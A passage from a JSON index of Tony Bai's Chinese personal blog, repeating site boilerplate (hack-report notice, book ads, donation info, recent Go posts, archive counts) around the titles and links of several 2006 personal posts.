年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/07/02/return-to-campus-dormitory/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"'回归'学生宿舍"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/07/02/on-the-train-to-dalian/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"在'辽东半岛号'上"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/07/01/say-bye-to-agentina-and-worldcup/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"告别阿根廷，告别世界杯"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 